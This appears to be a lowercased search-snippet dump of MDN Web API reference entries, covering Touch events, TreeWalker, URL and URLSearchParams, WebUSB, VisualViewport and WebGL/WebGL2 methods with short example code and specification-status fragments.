... let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living standardthe definition of 'cuechange' in that specification.
TextTrackCue - Web APIs
specifications specification status comment html living standardthe definition of 'texttrackcue' in that specification.
... living standard html5the definition of 'texttrackcue' in that specification.
TimeRanges - Web APIs
the term "normalized timeranges object" indicates that ranges in such an object are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range).
... specifications specification status comment html living standardthe definition of 'timeranges' in that specification.
Touch.pageX - Web APIs
WebAPITouchpageX
the touch.pagey property is the vertical coordinate of a touch point relative to the viewport (in css pixels), including any scroll offset.
... var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from the previous version.
Touch.pageY - Web APIs
WebAPITouchpageY
the touch.pagey property is the vertical coordinate of a touch point relative to the viewport (in css pixels), including any scroll offset.
... var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from last version.
Touch.rotationAngle - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... specifications specification status comment touch events – level 2 draft non-stable version.
Touch.screenX - Web APIs
WebAPITouchscreenX
the touch.screeny property is the vertical coordinate of a touch point relative to the screen in css pixels.
... var i; for (i=0; i < e.touches.length; i++) { console.log("touchpoint[" + i + "].screenx = " + e.touches[i].screenx); console.log("touchpoint[" + i + "].screeny = " + e.touches[i].screeny); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.altKey - Web APIs
WebAPITouchEventaltKey
summary a boolean value indicating whether or not the alt (alternate) key is enabled when the touch event is created.
... someelement.addeventlistener('touchstart', function(e) { // log the state of this event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.changedTouches - Web APIs
the changedtouches read-only property is a touchlist whose touch points (touch objects) varies depending on the event type, as follows: for the touchstart event, it is a list of the touch points that became active with the current event.
... for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.ctrlKey - Web APIs
summary a boolean value indicating whether the control (control) key is enabled when the touch event is created.
... specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.metaKey - Web APIs
summary a boolean value indicating whether or not the meta key is enabled when the touch event is created.
... specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.shiftKey - Web APIs
summary a boolean value indicating whether or not the shift key is enabled when the touch event is created.
... specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.touches - Web APIs
you can think of it as how many separate fingers are able to be identified as touching the screen.
... switch (e.touches.length) { case 1: handle_one_touch(e); break; case 2: handle_two_touches(e); break; case 3: handle_three_touches(e); break; default: console.log("not supported"); break; } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchList.identifiedTouch() - Web APIs
specifications not part of any specification.
... this api was removed from the touch events v2 draft specification.
TouchList.length - Web APIs
WebAPITouchListlength
the length read-only property indicates the number of items (touch points) in a given touchlist.
...byid("target"); target.addeventlistener('touchstart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TrackEvent.track - Web APIs
WebAPITrackEventtrack
specifications specification status comment html living standardthe definition of 'trackevent.track' in that specification.
... html5the definition of 'trackevent.track' in that specification.
TreeWalker.currentNode - Web APIs
specifications specification status comment domthe definition of 'treewalker.currrentnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.currentnode' in that specification.
TreeWalker.expandEntityReferences - Web APIs
the treewalker.expandentityreferences read-only property returns a boolean flag indicating whether or not the children of entity reference nodes are visible to the treewalker.
... syntax expand = treewalker.expandentityreferences; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); expand = treewalker.expandentityreferences; specifications document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.expandentityreferences' in that specification.
TreeWalker.firstChild() - Web APIs
syntax node = treewalker.firstchild; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.firstchild(); // returns the first child of the root element, or null if none specifications specification status comment domthe definition of 'treewalker.firstchild' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.firstchild' in that specification.
TreeWalker.lastChild() - Web APIs
syntax node = treewalker.lastchild(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.lastchild(); // returns the last visible child of the root element specifications specification status comment domthe definition of 'treewalker.lastchild' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.lastchild' in that specification.
TreeWalker.nextNode() - Web APIs
syntax node = treewalker.nextnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.nextnode(); // returns the first child of root, as it is the next node in document order specifications specification status comment domthe definition of 'treewalker.nextnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextnode' in that specification.
TreeWalker.nextSibling() - Web APIs
syntax node = treewalker.nextsibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); treewalker.firstchild(); var node = treewalker.nextsibling(); // returns null if the first child of the root element has no sibling specifications specification status comment domthe definition of 'treewalker.nextsibling' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextsibling' in that specification.
TreeWalker.parentNode() - Web APIs
syntax node = treewalker.parentnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.parentnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.parentnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.parentnode' in that specification.
TreeWalker.previousNode() - Web APIs
syntax node = treewalker.previousnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.previousnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.previousnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.previousnode' in that specification.
TreeWalker.previousSibling() - Web APIs
syntax node = treewalker.previoussibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.previoussibling(); // returns null as there is no previous sibiling specifications specification status comment domthe definition of 'treewalker.previoussibling' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.previoussibling' in that specification.
TreeWalker.root - Web APIs
WebAPITreeWalkerroot
syntax root = treewalker.root; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = treewalker.root; // document.body in this case specifications specification status comment domthe definition of 'treewalker.root' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.root' in that specification.
UIEvent.detail - Web APIs
WebAPIUIEventdetail
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent.detail' in that specification.
... obsolete document object model (dom) level 2 events specificationthe definition of 'uievent.detail' in that specification.
UIEvent.layerY - Web APIs
WebAPIUIEventlayerY
the uievent.layery read-only property returns the vertical coordinate of the event relative to the current layer.
...v id="d3"> <form name="form_coords" id="form1"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications this property is not part of any specification.
UIEvent.pageX - Web APIs
WebAPIUIEventpageX
syntax var pos = event.pagex value an integer value, in pixels, indicating the x coordinate at which the mouse pointer was located when the event occurred.
... specifications this property is not part of any specification.
URL.search - Web APIs
WebAPIURLsearch
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url.
... examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.search - Web APIs
WebAPIURLsearch?q=123
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url.
... examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.searchParams - Web APIs
WebAPIURLsearchParams
examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
... let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchparams' in that specification.
URLSearchParams() - Web APIs
syntax var urlsearchparams = new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format.
...https://example.com?foo=1&bar=2'); var params = new urlsearchparams(url.search); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new urlsearchparams({"foo": "1", "bar": "2"}); specifications specification status comment urlthe definition of 'urlsearchparams()' in that specification.
URLSearchParams.has() - Web APIs
the has() method of the urlsearchparams interface returns a boolean that indicates whether a parameter with the specified name exists.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLSearchParams.toString() - Web APIs
this is different from window.location.search, which includes it.
...params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification.
URLUtilsReadOnly.origin - Web APIs
this version of origin is implemented by workerlocation for use on workers.
... syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification.
USB.onconnect - Web APIs
WebAPIUSBonconnect
the onconnect property of the usb interface is an event handler called whenever a paired device is connected.
... syntax usb.onconnect = connectfunction specifications specification status comment webusbthe definition of 'onconnect' in that specification.
USB.ondisconnect - Web APIs
WebAPIUSBondisconnect
the ondisconnect property of the usb is an event handler called whenever a paired device is disconnected.
... syntax usb.ondisconnect = disconnectfunction specifications specification status comment webusbthe definition of 'ondisconnect' in that specification.
USBDevice.controlTransferOut() - Web APIs
not all commands require data; some commands can send data just through the value parameter.
... specifications specification status comment webusbthe definition of 'controltransferout()' in that specification.
USBDevice.reset() - Web APIs
WebAPIUSBDevicereset
the reset() method of the usbdevice interface returns a promise that resolves when the device is reset and all app operations canceled and their promises rejected.
... specifications specification status comment webusbthe definition of 'reset()' in that specification.
USBIsochronousInTransferResult - Web APIs
the usbisochronousintransferresult interface of the webusb api provides the result from a call to the isochronoustransferin() method of the usbdevice interface.
... specifications specification status comment webusbthe definition of 'usbisochronousintransferresult' in that specification.
USBIsochronousOutTransferResult - Web APIs
the usbisochronousouttransferresult interface of the webusb api provides the result from a call to the isochronoustransferout() method of the usbdevice interface.
... specifications specification status comment webusbthe definition of 'usbisochronousouttransferresult' in that specification.
UserProximityEvent - Web APIs
the userproximityevent indicates whether a nearby physical object is present by using the proximity sensor of a device.
... properties userproximityevent.near indicates if the device has sensed a nearby physical object.
VideoConfiguration - Web APIs
the videoconfiguration dictionary of the media capabilities api is used to define the video file being tested when calling the mediacapabilities methods encodinginfo() and decodinginfo() to determine whether or not the described video configuration is supported, and how smoothly and how smoooth and power-efficient it can be handled.
... } }; specifications specification status comment media capabilitiesthe definition of 'videoconfiguration' in that specification.
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
example this example determines the percentage of frames which have been corrupted, and if the value is greater than 5%, calls a funciton called downgradevideo() that would be implemented to switch to a different video that might tax the network less.
... var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if (quality.corruptedvideoframes/quality.totalvideoframes > 0.05) { downgradevideo(videoelem); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality: corruptedvideoframes' in that specification.
VideoTrack.selected - Web APIs
only a single video track can be active at any given time, so setting this property to true for one track while another track is active will make that other track inactive.
... specifications specification status comment html living standardthe definition of 'videotrack: selected' in that specification.
VideoTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); using the onchange event handler property: const videoelemen...
...selector('video'); videoelement.videotracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); specifications specification status html living standardthe definition of 'change' in that specification.
VideoTrackList.selectedIndex - Web APIs
syntax var index = videotracklist.selectedindex; value a number indicating the index of the currently selected track, if any, or -1 otherwise.
... specifications specification status comment html living standardthe definition of 'videotracklist: selectedindex' in that specification.
VisualViewport.onresize - Web APIs
the onresize event handler of the visualviewport interface is called when a viewport is resized, i.e.
...} specifications specification status comment visual viewport apithe definition of 'onresize' in that specification.
VisualViewport.onscroll - Web APIs
the onscroll event handler of the visualviewport interface is called when a viewport is scrolled, i.e.
...} specifications specification status comment visual viewport apithe definition of 'onscroll' in that specification.
VisualViewport: resize event - Web APIs
bubbles no cancelable no interface event event handler property onresize examples you can use the resize event in an addeventlistener method: visualviewport.addeventlistener('resize', function() { ...
...}; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
VisualViewport: scroll event - Web APIs
bubbles no cancelable no interface event event handler property onscroll examples you can use the scroll event in an addeventlistener method: visualviewport.addeventlistener('scroll', function() { ...
...}; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
WEBGL_compressed_texture_etc - Web APIs
constants the compressed texture formats are exposed by 10 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('webgl_compressed_texture_etc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba8_etc2_eac, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etcthe definition of 'webgl_compressed_texture_etc' in that specification.
WEBGL_compressed_texture_etc1 - Web APIs
constants the compressed texture format is exposed by a constant and can be used with the compressedteximage2d() method (note that etc1 is not supported with the compressedtexsubimage2d() method).
... examples var ext = gl.getextension('webgl_compressed_texture_etc1'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_etc1_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etc1the definition of 'webgl_compressed_texture_etc1' in that specification.
WEBGL_compressed_texture_s3tc - Web APIs
constants the compressed texture formats are exposed by four constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
...xture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tcthe definition of 'webgl_compressed_texture_s3tc' in that specification.
WEBGL_compressed_texture_s3tc_srgb - Web APIs
constants the compressed texture formats are exposed by four constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('webgl_compressed_texture_s3tc_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_srgb_s3tc_dxt1_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tc_srgbthe definition of 'webgl_compressed_texture_s3tc_srgb' in that specification.
WEBGL_debug_shaders.getTranslatedShaderSource() - Web APIs
an empty string is returned, if: no source has been defined or, webglrenderingcontext.compileshader() has not yet been called or, the translation for the shader failed.
... examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var shader = gl.createshader(gl.fragment_shader); gl.shadersource(shader, 'void main() { gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0); }'); gl.compileshader(shader); var src = gl.getextension('webgl_debug_shaders').gettranslatedshadersource(shader); console.log(src); // "void main(){ // (gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0)); // }" specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders.gettranslatedshadersource' in that specification.
WEBGL_debug_shaders - Web APIs
this extension is not directly available to web sites as the way of how the shader is translated may uncover personally-identifiable information to the web page about the kind of graphics card in the user's computer.
... specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders' in that specification.
WEBGL_depth_texture - Web APIs
incorrectly stated as the target parameter in the specification, see https://www.khronos.org/bugzilla/show_bug.cgi?id=674.
... examples var ext = gl.getextension('webgl_depth_texture'); gl.teximage2d(gl.texture_2d, 0, gl.depth_component, 512, 512, 0, gl.depth_component, gl.unsigned_short, null); specifications specification status comment webgl_depth_texturethe definition of 'webgl_depth_texture' in that specification.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
... opengl es 3.0the definition of 'gldrawbuffers' in that specification.
WEBGL_lose_context - Web APIs
examples with this extension, you can simulate the webglcontextlost and webglcontextrestored events: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
... specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context' in that specification.
WebGL2RenderingContext.beginTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); gl.begintransformfeedback(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); specifications specification status comment webgl 2.0the definition of 'begintransformfeedback' in that specification.
... opengl es 3.0the definition of 'glbegintransformfeedback' in that specification.
WebGL2RenderingContext.bindBufferBase() - Web APIs
examples gl.bindbufferbase(gl.transform_feedback_buffer, 0, buffer); specifications specification status comment webgl 2.0the definition of 'bindbufferbase' in that specification.
... opengl es 3.0the definition of 'glbindbufferbase' in that specification.
WebGL2RenderingContext.bindSampler() - Web APIs
examples var sampler = gl.createsampler(); gl.bindsampler(0, sampler); specifications specification status comment webgl 2.0the definition of 'bindsampler' in that specification.
... opengl es 3.0the definition of 'glbindsampler' in that specification.
WebGL2RenderingContext.bindTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); specifications specification status comment webgl 2.0the definition of 'bindtransformfeedback' in that specification.
... opengl es 3.0the definition of 'glbindtransformfeedback' in that specification.
WebGL2RenderingContext.clearBuffer[fiuv]() - Web APIs
examples gl.clearbufferiv(gl.color, 0, new int32array([r, g, b, a])); gl.clearbufferuiv(gl.color, 0, new uint32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, new float32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, [0.0, 0.0, 0.0, 0.0]); gl.clearbufferfi(gl.depth_stencil, 0, 1.0, 0); specifications specification status comment webgl 2.0the definition of 'clearbuffer[fiuv]()' in that specification.
... opengl es 3.0the definition of 'glclearbuffer' in that specification.
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
examples gl.compressedtexsubimage3d(gl.texture_3d, 0, 0, 0, 512, 512, 512, gl.compressed_r11_eac, texturedata); specifications specification status comment webgl 2.0the definition of 'compressedtexsubimage3d' in that specification.
... opengl es 3.0the definition of 'glcompressedtexsubimage3d' in that specification.
WebGL2RenderingContext.copyTexSubImage3D() - Web APIs
examples gl.copytexsubimage3d(gl.texture_3d, 0, 0, 0, 0, 0, 0, 16, 16); specifications specification status comment webgl 2.0the definition of 'copytexsubimage3d' in that specification.
... opengl es 3.0the definition of 'glcopytexsubimage3d' in that specification.
WebGL2RenderingContext.createQuery() - Web APIs
var query = gl.createquery(); specifications specification status comment webgl 2.0the definition of 'createquery' in that specification.
... opengl es 3.0the definition of 'glgenqueries' in that specification.
WebGL2RenderingContext.createSampler() - Web APIs
var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'createsampler' in that specification.
... opengl es 3.0the definition of 'glgensamplers' in that specification.
WebGL2RenderingContext.createTransformFeedback() - Web APIs
var transformfeedback = gl.createtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'createtransformfeedback' in that specification.
... opengl es 3.0the definition of 'glgentransformfeedbacks' in that specification.
WebGL2RenderingContext.deleteQuery() - Web APIs
gl.deletequery(query); specifications specification status comment webgl 2.0the definition of 'deletequery' in that specification.
... opengl es 3.0the definition of 'gldeletequeries' in that specification.
WebGL2RenderingContext.deleteSampler() - Web APIs
gl.deletesampler(sampler); specifications specification status comment webgl 2.0the definition of 'deletesampler' in that specification.
... opengl es 3.0the definition of 'gldeletesamplers' in that specification.
WebGL2RenderingContext.deleteSync() - Web APIs
gl.deletesync(sync); specifications specification status comment webgl 2.0the definition of 'deletesync' in that specification.
... opengl es 3.0the definition of 'gldeletesync' in that specification.
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
gl.deletetransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'deletetransformfeedback' in that specification.
... opengl es 3.0the definition of 'gldeletetransformfeedbacks' in that specification.
WebGL2RenderingContext.deleteVertexArray() - Web APIs
gl.deletevertexarray(vao); specifications specification status comment webgl 2.0the definition of 'deletevertexarray' in that specification.
... opengl es 3.0the definition of 'gldeletevertexarrays' in that specification.
WebGL2RenderingContext.drawBuffers() - Web APIs
examples gl.drawbuffers([gl.none, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'drawbuffers' in that specification.
... opengl es 3.0the definition of 'gldrawbuffers' in that specification.
WebGL2RenderingContext.drawRangeElements() - Web APIs
examples gl.drawrangeelements(gl.points, 0, 7, 8, gl.unsigned_byte, 0); specifications specification status comment webgl 2.0the definition of 'drawrangeelements' in that specification.
... opengl es 3.0the definition of 'gldrawrangeelements' in that specification.
WebGL2RenderingContext.endQuery() - Web APIs
gl.endquery(gl.any_samples_passed); specifications specification status comment webgl 2.0the definition of 'endquery' in that specification.
... opengl es 3.0the definition of 'glendquery' in that specification.
WebGL2RenderingContext.endTransformFeedback() - Web APIs
examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); gl.begintransformfeedback(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'endtransformfeedback' in that specification.
... opengl es 3.0the definition of 'glendtransformfeedback' in that specification.
WebGL2RenderingContext.fenceSync() - Web APIs
var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'fencesync' in that specification.
... opengl es 3.0the definition of 'glfencesync' in that specification.
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
examples gl.framebuffertexturelayer(gl.framebuffer, gl.color_attachment0, texture, 0, 8); specifications specification status comment webgl 2.0the definition of 'framebuffertexturelayer' in that specification.
... opengl es 3.0the definition of 'glframebuffertexturelayer' in that specification.
WebGL2RenderingContext.getIndexedParameter() - Web APIs
examples var binding = gl.getindexedparameter(gl.transform_feedback_buffer_binding, 0); specifications specification status comment webgl 2.0the definition of 'getindexedparameter' in that specification.
... opengl es 3.0the definition of 'glget' in that specification.
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
examples var samples = gl.getinternalformatparameter(gl.renderbuffer, gl.rgba8, gl.samples); specifications specification status comment webgl 2.0the definition of 'getinternalformatparameter' in that specification.
... opengl es 3.0the definition of 'glgetinternalformativ' in that specification.
WebGL2RenderingContext.getQuery() - Web APIs
examples var currentquery = gl.getquery(gl.any_samples_passed, gl.current_query); specifications specification status comment webgl 2.0the definition of 'getquery' in that specification.
... opengl es 3.0the definition of 'glgetqueryiv' in that specification.
WebGL2RenderingContext.getTransformFeedbackVarying() - Web APIs
examples activeinfo = gl.gettransformfeedbackvarying(program, 0); specifications specification status comment webgl 2.0the definition of 'gettransformfeedbackvarying' in that specification.
... opengl es 3.0the definition of 'glgettransformfeedbackvarying' in that specification.
WebGL2RenderingContext.getUniformIndices() - Web APIs
examples var uniformindices = gl.getuniformindices(program, ['ubored', 'ubogreen', 'uboblue']); specifications specification status comment webgl 2.0the definition of 'getuniformindices' in that specification.
... opengl es 3.0the definition of 'glgetuniformindices' in that specification.
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
examples gl.invalidateframebuffer(gl.read_framebuffer, [gl.color_attachment0, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'invalidateframebuffer' in that specification.
... opengl es 3.0the definition of 'glinvalidateframebuffer' in that specification.
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
examples gl.invalidatesubframebuffer(gl.read_framebuffer, [gl.color_attachment0, gl.color_attachment1], 0, 0, 256, 256); specifications specification status comment webgl 2.0the definition of 'invalidatesubframebuffer' in that specification.
... opengl es 3.0the definition of 'glinvalidatesubframebuffer' in that specification.
WebGL2RenderingContext.pauseTransformFeedback() - Web APIs
gl.resumetransformfeedback(); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'pausetransformfeedback' in that specification.
... opengl es 3.0the definition of 'glpausetransformfeedback' in that specification.
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
examples gl.renderbufferstoragemultisample(gl.renderbuffer, 4, gl.rbga4, 256, 256); specifications specification status comment webgl 2.0the definition of 'glrenderbufferstoragemultisample' in that specification.
... opengl es 3.0the definition of 'glrenderbufferstoragemultisample' in that specification.
WebGL2RenderingContext.resumeTransformFeedback() - Web APIs
gl.resumetransformfeedback(); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'resumetransformfeedback' in that specification.
... opengl es 3.0the definition of 'glresumetransformfeedback' in that specification.
WebGL2RenderingContext.texStorage2D() - Web APIs
examples gl.texstorage2d(gl.texture_2d, 1, gl.rgb8, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage2d' in that specification.
... opengl es 3.0the definition of 'gltexstorage2d' in that specification.
WebGL2RenderingContext.texStorage3D() - Web APIs
examples gl.texstorage3d(gl.texture_3d, 1, gl.rgb8, 256, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage3d' in that specification.
... opengl es 3.0the definition of 'gltexstorage3d' in that specification.
WebGL2RenderingContext.uniformBlockBinding() - Web APIs
examples gl.uniformblockbinding(program, 0, 1); specifications specification status comment webgl 2.0the definition of 'uniformblockbinding' in that specification.
... opengl es 3.0the definition of 'gluniformblockbinding' in that specification.
WebGL2RenderingContext.vertexAttribI4[u]i[v]() - Web APIs
examples gl.vertexattribi4i(a_foobar, 10); specifications specification status comment webgl 2.0the definition of 'vertexattribi' in that specification.
... opengl es 3.0the definition of 'glvertexattribi' in that specification.
WebGL2RenderingContext.waitSync() - Web APIs
